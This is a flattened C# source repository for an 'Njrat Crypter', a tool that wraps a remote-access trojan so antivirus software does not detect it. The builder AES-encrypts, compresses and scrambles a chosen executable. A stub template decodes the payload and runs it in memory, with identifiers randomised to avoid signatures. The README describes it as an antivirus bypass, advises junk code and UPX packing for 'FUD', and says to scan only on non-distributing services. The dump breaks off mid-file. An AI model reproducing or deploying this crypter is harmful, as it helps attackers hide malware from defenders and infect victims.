├── .gitattributes ├── .gitignore ├── App.config ├── Form1.Designer.cs ├── Form1.cs ├── Form1.resx ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs ├── Resources.resx ├── Settings.Designer.cs └── Settings.settings ├── README.md ├── Resources └── STUBAMBOULA.txt ├── Server Crypter.csproj ├── Utils └── Themes.cs └── obj └── Debug ├── DesignTimeResolveAssemblyReferences.cache ├── DesignTimeResolveAssemblyReferencesInput.cache ├── Njrat Crypter.csproj.FileListAbsolute.txt ├── Njrat Crypter.csproj.GenerateResource.Cache ├── Njrat Crypter.csprojResolveAssemblyReference.cache ├── Njrat Crypter.pdb ├── Njrat_Crypter.Properties.Resources.resources ├── Server Crypter.csproj.FileListAbsolute.txt ├── Server Crypter.csproj.GenerateResource.Cache ├── Server Crypter.pdb ├── Server_Crypter.Properties.Resources.resources ├── Server_Crypter.cryptNj.resources ├── TempPE └── Properties.Resources.Designer.cs.dll ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.exe 3 | -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace Server_Crypter 2 | { 3 | partial class cryptNj 4 | { 5 | /// 6 | /// Variable nécessaire au concepteur. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Nettoyage des ressources utilisées. 12 | /// 13 | /// true si les ressources managées doivent être supprimées ; sinon, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Code généré par le Concepteur Windows Form 24 | 25 | /// 26 | /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas 27 | /// le contenu de cette méthode avec l'éditeur de code. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.label1 = new System.Windows.Forms.Label(); 32 | this.boosterButton2 = new BoosterButton(); 33 | this.boosterButton1 = new BoosterButton(); 34 | this.boosterTextBox1 = new BoosterTextBox(); 35 | this.stubRicheText = new System.Windows.Forms.RichTextBox(); 36 | this.label2 = new System.Windows.Forms.Label(); 37 | this.xylosNotice1 = new XylosNotice(); 38 | this.resourcesRichText = new System.Windows.Forms.RichTextBox(); 39 | this.label3 = new System.Windows.Forms.Label(); 40 | this.SuspendLayout(); 41 | // 42 | // label1 43 | // 44 | this.label1.AutoSize = true; 45 | this.label1.Location = new System.Drawing.Point(41, 41); 46 | this.label1.Name = "label1"; 47 | this.label1.Size = new System.Drawing.Size(78, 13); 48 | this.label1.TabIndex = 2; 49 | this.label1.Text = "Path of Server:"; 50 | // 51 | // boosterButton2 52 | // 53 | this.boosterButton2.Font = new System.Drawing.Font("Segoe UI", 9F); 54 | this.boosterButton2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(182)))), ((int)(((byte)(182)))), ((int)(((byte)(182))))); 55 | this.boosterButton2.Location = new System.Drawing.Point(148, 109); 56 | this.boosterButton2.Name = "boosterButton2"; 57 | this.boosterButton2.Size = new System.Drawing.Size(75, 38); 58 | this.boosterButton2.TabIndex = 3; 59 | this.boosterButton2.Text = "Build"; 60 | this.boosterButton2.UseVisualStyleBackColor = true; 61 | this.boosterButton2.Click += new System.EventHandler(this.boosterButton2_Click); 62 | // 63 | // boosterButton1 64 | // 65 | this.boosterButton1.Font = new System.Drawing.Font("Segoe UI", 9F); 66 | this.boosterButton1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(182)))), ((int)(((byte)(182)))), ((int)(((byte)(182))))); 67 | this.boosterButton1.Location = new System.Drawing.Point(332, 54); 68 | this.boosterButton1.Name = "boosterButton1"; 69 | this.boosterButton1.Size = new System.Drawing.Size(42, 23); 70 | this.boosterButton1.TabIndex = 1; 71 | this.boosterButton1.Text = "...."; 72 | this.boosterButton1.UseVisualStyleBackColor = true; 73 | this.boosterButton1.Click += new System.EventHandler(this.boosterButton1_Click); 74 | // 75 | // boosterTextBox1 76 | // 77 | this.boosterTextBox1.Location = new System.Drawing.Point(44, 57); 78 | this.boosterTextBox1.MultiLine = true; 79 | this.boosterTextBox1.Name = "boosterTextBox1"; 80 | this.boosterTextBox1.ReadOnly = false; 81 | this.boosterTextBox1.Size = new System.Drawing.Size(272, 20); 82 | this.boosterTextBox1.TabIndex = 0; 83 | this.boosterTextBox1.UseSystemPasswordChar = false; 84 | // 85 | // stubRicheText 86 | // 87 | this.stubRicheText.BackColor = System.Drawing.SystemColors.WindowFrame; 88 | this.stubRicheText.Location = new System.Drawing.Point(536, 41); 89 | this.stubRicheText.Name = "stubRicheText"; 90 | this.stubRicheText.Size = new System.Drawing.Size(583, 137); 91 | this.stubRicheText.TabIndex = 4; 92 | this.stubRicheText.Text = ""; 93 | // 94 | // label2 95 | // 96 | this.label2.AutoSize = true; 97 | this.label2.Location = new System.Drawing.Point(533, 25); 98 | this.label2.Name = "label2"; 99 | this.label2.Size = new System.Drawing.Size(32, 13); 100 | this.label2.TabIndex = 5; 101 | this.label2.Text = "Stub:"; 102 | // 103 | // xylosNotice1 104 | // 105 | this.xylosNotice1.BorderStyle = System.Windows.Forms.BorderStyle.None; 106 | this.xylosNotice1.Cursor = System.Windows.Forms.Cursors.Default; 107 | this.xylosNotice1.Enabled = false; 108 | this.xylosNotice1.Location = new System.Drawing.Point(312, 409); 109 | this.xylosNotice1.Multiline = true; 110 | this.xylosNotice1.Name = "xylosNotice1"; 111 | this.xylosNotice1.ReadOnly = true; 112 | this.xylosNotice1.Size = new System.Drawing.Size(425, 36); 113 | this.xylosNotice1.TabIndex = 6; 114 | this.xylosNotice1.Text = "Add some junk code for FUDn and you can use upx for low detection"; 115 | // 116 | // resourcesRichText 117 | // 118 | this.resourcesRichText.BackColor = System.Drawing.SystemColors.WindowFrame; 119 | this.resourcesRichText.Location = new System.Drawing.Point(536, 230); 120 | this.resourcesRichText.Name = "resourcesRichText"; 121 | this.resourcesRichText.Size = new System.Drawing.Size(583, 137); 122 | this.resourcesRichText.TabIndex = 7; 123 | this.resourcesRichText.Text = ""; 124 | // 125 | // label3 126 | // 127 | this.label3.AutoSize = true; 128 | this.label3.Location = new System.Drawing.Point(536, 211); 129 | this.label3.Name = "label3"; 130 | this.label3.Size = new System.Drawing.Size(125, 13); 131 | this.label3.TabIndex = 8; 132 | this.label3.Text = ".res encodés en AES256"; 133 | // 134 | // cryptNj 135 | // 136 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 137 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 138 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(66)))), ((int)(((byte)(66)))), ((int)(((byte)(66))))); 139 | this.ClientSize = new System.Drawing.Size(1148, 457); 140 | this.Controls.Add(this.label3); 141 | this.Controls.Add(this.resourcesRichText); 142 | this.Controls.Add(this.xylosNotice1); 143 | this.Controls.Add(this.label2); 144 | this.Controls.Add(this.stubRicheText); 145 | this.Controls.Add(this.boosterButton2); 146 | this.Controls.Add(this.label1); 147 | this.Controls.Add(this.boosterButton1); 148 | this.Controls.Add(this.boosterTextBox1); 149 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 150 | this.Name = "cryptNj"; 151 | this.Text = "Server Crypter"; 152 | this.ResumeLayout(false); 153 | this.PerformLayout(); 154 | 155 | } 156 | 157 | #endregion 158 | 159 | public BoosterTextBox boosterTextBox1; 160 | private BoosterButton boosterButton1; 161 | private System.Windows.Forms.Label label1; 162 | private BoosterButton boosterButton2; 163 | public System.Windows.Forms.RichTextBox stubRicheText; 164 | private System.Windows.Forms.Label label2; 165 | private XylosNotice xylosNotice1; 166 | private System.Windows.Forms.RichTextBox resourcesRichText; 167 | private System.Windows.Forms.Label label3; 168 | } 169 | } 170 | 171 | -------------------------------------------------------------------------------- /Form1.cs: -------------------------------------------------------------------------------- 1 | using Server_Crypter.Properties; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.ComponentModel; 5 | using System.Data; 6 | using System.Drawing; 7 | using System.IO; 8 | using System.IO.Compression; 9 | using System.Linq; 10 | using System.Security.Cryptography; 11 | using System.Text; 12 | using System.Threading.Tasks; 13 | using System.Windows.Forms; 14 | 15 | namespace Server_Crypter 16 | { 17 | public partial class cryptNj : Form 18 | { 19 | private Random rand = new Random(); 20 | 21 | public cryptNj() 22 | { 23 | InitializeComponent(); 24 | } 25 | 26 | private void boosterButton1_Click(object sender, EventArgs e) 27 | { 28 | OpenFileDialog openFileDialog = new OpenFileDialog(); 29 | openFileDialog.Filter = "Server .exe|*.exe"; 30 | openFileDialog.ShowDialog(); 31 | 32 | if(openFileDialog.FileName.Length == 0) 33 | { 34 | return; 35 | } 36 | 37 | boosterTextBox1.Text = openFileDialog.FileName; 38 | } 39 | 40 | public static byte[] EncryptExe(byte[] exeBytes, string PassKey) 41 | { 42 | checked 43 | { 44 | byte[] result; 45 | byte[] bytes = Encoding.UTF8.GetBytes(PassKey); 46 | int iterations = 2444; 47 | byte[] salt = new byte[] 48 | { 49 | 95, 50 | 70, 51 | 46, 52 | 145, 53 | 68, 54 | 167, 55 | 230, 56 | 153, 57 | 138, 58 | 178, 59 | 195, 60 | 212, 61 | 31, 62 | 27, 63 | 189, 64 | 99, 65 | 74, 66 | 176, 67 | 166, 68 | 103, 69 | 132, 70 | 184, 71 | 75, 72 | 201, 73 | 107, 74 | 224, 75 | 15, 76 | 248, 77 | 228, 78 | 215 79 | }; 80 | using (MemoryStream memoryStream = new MemoryStream()) 81 | { 82 | using (AesManaged aesManaged = new AesManaged()) 83 | { 84 | aesManaged.KeySize = 256; 85 | aesManaged.BlockSize = 128; 86 | Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, salt, iterations); 87 | aesManaged.Key = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.KeySize / 8.0))); 88 | aesManaged.IV = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.BlockSize / 8.0))); 89 | aesManaged.Mode = CipherMode.CBC; 90 | using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesManaged.CreateEncryptor(), CryptoStreamMode.Write)) 91 | { 92 | cryptoStream.Write(exeBytes, 0, exeBytes.Length); 93 | cryptoStream.Close(); 94 | } 95 | result = memoryStream.ToArray(); 96 | return result; 97 | } 98 | } 99 | } 100 | } 101 | 102 | public static string GetUniqueKey(int maxSize) 103 | { 104 | char[] chars = new char[62]; 105 | chars = 106 | "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray(); 107 | byte[] data = new byte[1]; 108 | using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) 109 | { 110 | crypto.GetNonZeroBytes(data); 111 | data = new byte[maxSize]; 112 | crypto.GetNonZeroBytes(data); 113 | } 114 | StringBuilder result = new StringBuilder(maxSize); 115 | foreach (byte b in data) 116 | { 117 | result.Append(chars[b % (chars.Length)]); 118 | } 119 | return result.ToString(); 120 | } 121 | 122 | private void boosterButton2_Click(object sender, EventArgs e) 123 | { 124 | if(!boosterTextBox1.Text.Contains(".exe")) 125 | { 126 | return; 127 | } 128 | 129 | string key = GetUniqueKey(rand.Next(1, 50 + 1)); 130 | 131 | //Encrypt Server method: 132 | byte[] serverbin = File.ReadAllBytes(boosterTextBox1.Text); 133 | byte[] hash = EncryptExe(serverbin, key); 134 | byte[] compress = Compress(hash); 135 | 136 | 137 | 138 | string source = BitConverter.ToString(compress).ToString(); 139 | 140 | 141 | string text = new string(source.Reverse().ToArray()); 142 | string newValue = text.Replace('0', '+').Replace("-", ""); 143 | string aa = newValue.Replace('7', '?'); 144 | string bb = Base64Encode(aa); 145 | 146 | 147 | 148 | string BUILD = Resources.STUBAMBOULA; 149 | 150 | 151 | StreamWriter writer = new StreamWriter("./stub.txt"); 152 | writer.Write(BUILD.Replace("%RANDOMNAME%", GetUniqueKey(rand.Next(1, 25+1)).Replace("%hexa%", GetUniqueKey(rand.Next(1, 25 + 1)).Replace("%Decompress%", GetUniqueKey(rand.Next(1, 25 + 1)).Replace("%BYTERANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1))))))); 153 | writer.Close(); 154 | 155 | Console.WriteLine("Stub builded successfuly"); 156 | 157 | stubRicheText.Text = BUILD.Replace("%RANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%hexa%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%Decompress%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%BYTERANDOMNAME%", GetUniqueKey(rand.Next(1, 25 + 1))).Replace("%KEYDECODE%", key); 158 | resourcesRichText.Text = bb; 159 | 160 | 161 | 162 | } 163 | 164 | public static byte[] StringToByteArray(string hex) 165 | { 166 | return Enumerable.Range(0, hex.Length) 167 | .Where(x => x % 2 == 0) 168 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 169 | .ToArray(); 170 | } 171 | 172 | private byte[] Compress(byte[] data) 173 | { 174 | using (MemoryStream output = new MemoryStream()) 175 | { 176 | using (GZipStream zip = new GZipStream(output, CompressionMode.Compress, true)) 177 | { 178 | zip.Write(data, 0, data.Length); 179 | } 180 | return output.ToArray(); 181 | } 182 | } 183 | 184 | private byte[] Decompress(byte[] data) 185 | { 186 | using (MemoryStream memory = new MemoryStream(data)) 187 | using (GZipStream zip = new GZipStream(memory, CompressionMode.Decompress)) 188 | { 189 | const int size = 4096; 190 | byte[] buffer = new byte[size]; 191 | using (MemoryStream output = new MemoryStream()) 192 | { 193 | int count = 0; 194 | do 195 | { 196 | count = zip.Read(buffer, 0, size); 197 | if (count > 0) 198 | { 199 | output.Write(buffer, 0, count); 200 | } 201 | } 202 | while (count > 0); 203 | return output.ToArray(); 204 | } 205 | } 206 | } 207 | 208 | public static string Base64Encode(string plainText) 209 | { 210 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText); 211 | return System.Convert.ToBase64String(plainTextBytes); 212 | } 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace Server_Crypter 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// Point d'entrée principal de l'application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new cryptNj()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Les informations générales relatives à un assembly dépendent de 6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 7 | // associées à un assembly. 8 | [assembly: AssemblyTitle("Njrat Crypter")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Njrat Crypter")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 20 | [assembly: ComVisible(false)] 21 | 22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 23 | [assembly: Guid("c25e39a9-8215-43aa-96a3-da0e9512ec18")] 24 | 25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 26 | // 27 | // Version principale 28 | // Version secondaire 29 | // Numéro de build 30 | // Révision 31 | // 32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 33 | // en utilisant '*', comme indiqué ci-dessous : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Server_Crypter.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. 17 | /// 18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder 19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio. 20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen 21 | // avec l'option /str ou régénérez votre projet VS. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server_Crypter.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes 51 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Recherche une chaîne localisée semblable à using System; 65 | ///using System.Collections.Generic; 66 | ///using System.IO; 67 | ///using System.IO.Compression; 68 | ///using System.Linq; 69 | ///using System.Reflection; 70 | ///using System.Text; 71 | ///using System.Security.Cryptography; 72 | ///using UpdateMe.Properties; 73 | /// 74 | ///namespace %RANDOMNAME% 75 | ///{ 76 | /// static class Program 77 | /// { 78 | /// private static string Key = "%KEYDECODE%"; 79 | /// static void Main() 80 | /// { 81 | /// //HERE is path of .res file: 82 | /// 83 | /// string %hexa% = Resources. 84 | /// 85 | /// string bb_ = Base64Decode(%hexa%); 86 | /// [le reste de la chaîne a été tronqué]";. 87 | /// 88 | internal static string STUBAMBOULA { 89 | get { 90 | return ResourceManager.GetString("STUBAMBOULA", resourceCulture); 91 | } 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\STUBAMBOULA.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 123 | 124 | -------------------------------------------------------------------------------- /Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Server_Crypter.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Crypter Runtime AV's bypass 2 | 3 | This is project for bypass AV's runtime with .net server crypter. 4 | 5 | * 1- Open Folder Server Crypter 6 | * 2- Open "Server Crypter.csproj" in Visual Studio 7 | * 3- Build source with F5 or button on top 8 | * 4- Select you'r server and press "Build" 9 | * 5- Create new project 10 | * 6- Past in program.cs the Build content and create Ressource files 11 | * 7- Fix little error, add junk code, icon for FUD 12 | 13 | **DO NOT SCAN IN VIRUSTOTAL, JOTTI OR OTHERS!** 14 | 15 | **ONLY SCAN ON NODISTRIBUTE, VIRUSCHECKMATE.** -------------------------------------------------------------------------------- /Resources/STUBAMBOULA.txt: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.IO.Compression; 5 | using System.Linq; 6 | using System.Reflection; 7 | using System.Text; 8 | using System.Security.Cryptography; 9 | using UpdateMe.Properties; 10 | 11 | namespace %RANDOMNAME% 12 | { 13 | static class Program 14 | { 15 | private static string Key = "%KEYDECODE%"; 16 | static void Main() 17 | { 18 | //HERE is path of .res file: 19 | 20 | string %hexa% = Resources. 21 | 22 | string bb_ = Base64Decode(%hexa%); 23 | string aa_ = bb_.Replace('?', '7'); 24 | string newValue_ = aa_.Replace('+', '0'); 25 | string test_ = new string(newValue_.Reverse().ToArray()); 26 | 27 | byte[] source_ = %BYTERANDOMNAME%(test_); 28 | byte[] decompress = %Decompress%(source_); 29 | byte[] BUGBNIEBFNOnnjkl = DecryptExe(decompress, Key); 30 | 31 | Assembly.Load(BUGBNIEBFNOnnjkl).EntryPoint.Invoke(null, null); 32 | } 33 | 34 | private static byte[] %BYTERANDOMNAME%(string hex) 35 | { 36 | return Enumerable.Range(0, hex.Length) 37 | .Where(x => x % 2 == 0) 38 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 39 | .ToArray(); 40 | } 41 | 42 | 43 | public static string Base64Decode(string base64EncodedData) 44 | { 45 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData); 46 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes); 47 | } 48 | 49 | 50 | public static byte[] DecryptExe(byte[] encodedBytes, string PassKey) 51 | { 52 | byte[] result; 53 | byte[] bytes = Encoding.UTF8.GetBytes(PassKey); 54 | int iterations = 2444; 55 | 56 | #region byteSalt 57 | byte[] salt = new byte[] 58 | { 59 | 95, 60 | 70, 61 | 46, 62 | 145, 63 | 68, 64 | 167, 65 | 230, 66 | 153, 67 | 138, 68 | 178, 69 | 195, 70 | 212, 71 | 31, 72 | 27, 73 | 189, 74 | 99, 75 | 74, 76 | 176, 77 | 166, 78 | 103, 79 | 132, 80 | 184, 81 | 75, 82 | 201, 83 | 107, 84 | 224, 85 | 15, 86 | 248, 87 | 228, 88 | 215 89 | }; 90 | #endregion 91 | 92 | MemoryStream memoryStream = new MemoryStream(); 93 | AesManaged aesManaged = new AesManaged(); 94 | aesManaged.KeySize = 256; 95 | aesManaged.BlockSize = 128; 96 | Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, salt, iterations); 97 | aesManaged.Key = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.KeySize / 8.0))); 98 | aesManaged.IV = rfc2898DeriveBytes.GetBytes((int)Math.Round(Math.Round((double)aesManaged.BlockSize / 8.0))); 99 | aesManaged.Mode = CipherMode.CBC; 100 | 101 | CryptoStream cs = new CryptoStream(memoryStream, aesManaged.CreateDecryptor(), CryptoStreamMode.Write); 102 | 103 | cs.Write(encodedBytes, 0, encodedBytes.Length); 104 | cs.Close(); 105 | 106 | result = memoryStream.ToArray(); 107 | 108 | return result; 109 | } 110 | 111 | private static byte[] %Decompress%(byte[] data) 112 | { 113 | using (MemoryStream memory = new MemoryStream(data)) 114 | using (GZipStream zip = new GZipStream(memory, CompressionMode.Decompress)) 115 | { 116 | const int size = 4096; 117 | byte[] buffer = new byte[size]; 118 | using (MemoryStream output = new MemoryStream()) 119 | { 120 | int count = 0; 121 | do 122 | { 123 | count = zip.Read(buffer, 0, size); 124 | if (count > 0) 125 | { 126 | output.Write(buffer, 0, count); 127 | } 128 | } 129 | while (count > 0); 130 | return output.ToArray(); 131 | } 132 | } 133 | } 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /Server Crypter.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C25E39A9-8215-43AA-96A3-DA0E9512EC18} 8 | WinExe 9 | Properties 10 | Server_Crypter 11 | Server Crypter 12 | v4.5.2 13 | 512 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | Form 51 | 52 | 53 | Form1.cs 54 | 55 | 56 | 57 | 58 | 59 | Form1.cs 60 | 61 | 62 | ResXFileCodeGenerator 63 | Resources.Designer.cs 64 | Designer 65 | 66 | 67 | True 68 | Resources.resx 69 | True 70 | 71 | 72 | SettingsSingleFileGenerator 73 | Settings.Designer.cs 74 | 75 | 76 | True 77 | Settings.settings 78 | True 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 96 | -------------------------------------------------------------------------------- /Utils/Themes.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | using System.Drawing.Text; 3 | using System.Drawing.Drawing2D; 4 | using System.ComponentModel; 5 | using System.Drawing; 6 | using System; 7 | using System.Windows.Forms; 8 | using static Helpers; 9 | using System.IO; 10 | 11 | static internal class Helpers 12 | { 13 | 14 | public static Graphics G; 15 | 16 | private static SizeF TargetStringMeasure; 17 | public enum MouseState : byte 18 | { 19 | None = 0, 20 | Over = 1, 21 | Down = 2 22 | } 23 | 24 | public enum RoundingStyle : byte 25 | { 26 | All = 0, 27 | Top = 1, 28 | Bottom = 2, 29 | Left = 3, 30 | Right = 4, 31 | TopRight = 5, 32 | BottomRight = 6 33 | } 34 | public static Rectangle FullRectangle(Size S, bool Subtract) 35 | { 36 | Rectangle result; 37 | if (Subtract) 38 | { 39 | result = checked(new Rectangle(0, 0, S.Width - 1, S.Height - 1)); 40 | } 41 | else 42 | { 43 | result = new Rectangle(0, 0, S.Width, S.Height); 44 | } 45 | return result; 46 | } 47 | public static Color ColorFromHex(string Hex) 48 | { 49 | return 